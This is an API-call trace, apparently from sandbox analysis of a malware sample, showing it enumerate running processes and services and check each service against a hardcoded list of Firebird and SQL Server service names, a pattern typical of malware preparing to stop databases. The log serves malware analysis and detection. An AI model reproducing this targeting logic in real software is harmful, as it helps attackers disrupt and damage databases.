	[0169.460] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0169.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1
	[0169.460] lstrlenW (lpString="TimeBrokerSvc") returned 13
	[0169.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0169.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0169.460] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1
	[0169.460] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1
	[0169.460] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4069fc8 | out: hHeap=0x710000) returned 1
	[0169.460] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x520
	[0169.553] Process32FirstW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0169.553] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0169.554] lstrlenW (lpString="System") returned 6
	[0169.554] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0169.554] lstrlenW (lpString="smss.exe") returned 8
	[0169.554] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0169.555] lstrlenW (lpString="csrss.exe") returned 9
	[0169.555] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0169.555] lstrlenW (lpString="wininit.exe") returned 11
	[0169.555] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0169.556] lstrlenW (lpString="csrss.exe") returned 9
	[0169.556] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0169.556] lstrlenW (lpString="winlogon.exe") returned 12
	[0169.556] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0169.556] lstrlenW (lpString="services.exe") returned 12
	[0169.556] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0169.557] lstrlenW (lpString="lsass.exe") returned 9
	[0169.557] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0169.557] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0169.557] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0169.558] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0169.558] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.558] lstrlenW (lpString="svchost.exe") returned 11
	[0169.558] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.559] lstrlenW (lpString="svchost.exe") returned 11
	[0169.559] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0169.559] lstrlenW (lpString="dwm.exe") returned 7
	[0169.559] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.559] lstrlenW (lpString="svchost.exe") returned 11
	[0169.559] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.560] lstrlenW (lpString="svchost.exe") returned 11
	[0169.560] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.560] lstrlenW (lpString="svchost.exe") returned 11
	[0169.560] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.561] lstrlenW (lpString="svchost.exe") returned 11
	[0169.561] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.561] lstrlenW (lpString="svchost.exe") returned 11
	[0169.561] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.562] lstrlenW (lpString="svchost.exe") returned 11
	[0169.562] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.562] lstrlenW (lpString="svchost.exe") returned 11
	[0169.562] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.563] lstrlenW (lpString="svchost.exe") returned 11
	[0169.563] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.563] lstrlenW (lpString="svchost.exe") returned 11
	[0169.563] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.564] lstrlenW (lpString="svchost.exe") returned 11
	[0169.564] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0169.564] lstrlenW (lpString="spoolsv.exe") returned 11
	[0169.564] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.565] lstrlenW (lpString="svchost.exe") returned 11
	[0169.565] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0169.565] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0169.565] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0169.565] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0169.565] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0169.566] lstrlenW (lpString="audiodg.exe") returned 11
	[0169.566] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0169.566] lstrlenW (lpString="Memory Compression") returned 18
	[0169.566] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0169.567] lstrlenW (lpString="taskhostw.exe") returned 13
	[0169.567] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0169.567] lstrlenW (lpString="sihost.exe") returned 10
	[0169.567] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.568] lstrlenW (lpString="svchost.exe") returned 11
	[0169.568] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0169.568] lstrlenW (lpString="taskhostw.exe") returned 13
	[0169.568] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x43, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0169.568] lstrlenW (lpString="explorer.exe") returned 12
	[0169.569] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0169.569] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0169.569] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0169.569] lstrlenW (lpString="SearchUI.exe") returned 12
	[0169.569] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0169.570] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0169.570] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0169.570] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0169.570] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0169.571] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0169.571] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0169.571] lstrlenW (lpString="cmd.exe") returned 7
	[0169.571] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0169.572] lstrlenW (lpString="conhost.exe") returned 11
	[0169.572] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0169.572] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0169.572] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 0
	[0169.572] CloseHandle (hObject=0x520) returned 1
	[0169.572] Sleep (dwMilliseconds=0x1f4) 
	[0170.189] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3929db8
	[0170.190] EnumServicesStatusExW (in: hSCManager=0x3929db8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0170.190] GetLastError () returned 0xea
	[0170.190] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x40beff0
	[0170.191] EnumServicesStatusExW (in: hSCManager=0x3929db8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40beff0, cbBufSize=0x1bc4, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40beff0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0170.191] CloseServiceHandle (hSCObject=0x3929db8) returned 1
	[0170.192] lstrlenW (lpString="AppXSvc") returned 7
	[0170.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0170.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0170.192] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0170.192] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0170.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0170.192] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0170.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0170.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0170.192] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0170.192] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0170.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0170.192] lstrlenW (lpString="Audiosrv") returned 8
	[0170.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0170.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0170.192] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0170.192] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0170.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0170.192] lstrlenW (lpString="BFE") returned 3
	[0170.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0170.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0170.192] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0170.192] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0170.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0170.192] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0170.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0170.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0170.192] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0170.192] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0170.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0170.193] lstrlenW (lpString="CDPSvc") returned 6
	[0170.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0170.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0170.193] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0170.193] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0170.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0170.193] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0170.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0170.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0170.193] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0170.193] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0170.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0170.193] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0170.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0170.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0170.193] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0170.193] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0170.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0170.193] lstrlenW (lpString="CryptSvc") returned 8
	[0170.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0170.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0170.193] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0170.193] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0170.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0170.193] lstrlenW (lpString="DcomLaunch") returned 10
	[0170.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0170.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0170.193] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0170.193] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0170.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0170.193] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0170.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0170.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0170.193] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0170.193] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0170.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0170.194] lstrlenW (lpString="Dhcp") returned 4
	[0170.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0170.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0170.194] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0170.194] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0170.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0170.194] lstrlenW (lpString="Dnscache") returned 8
	[0170.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0170.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0170.194] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0170.194] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0170.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0170.194] lstrlenW (lpString="DPS") returned 3
	[0170.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0170.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0170.194] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0170.194] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0170.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0170.194] lstrlenW (lpString="DusmSvc") returned 7
	[0170.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0170.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0170.194] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0170.194] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0170.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0170.194] lstrlenW (lpString="EventLog") returned 8
	[0170.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0170.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0170.194] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0170.194] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0170.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
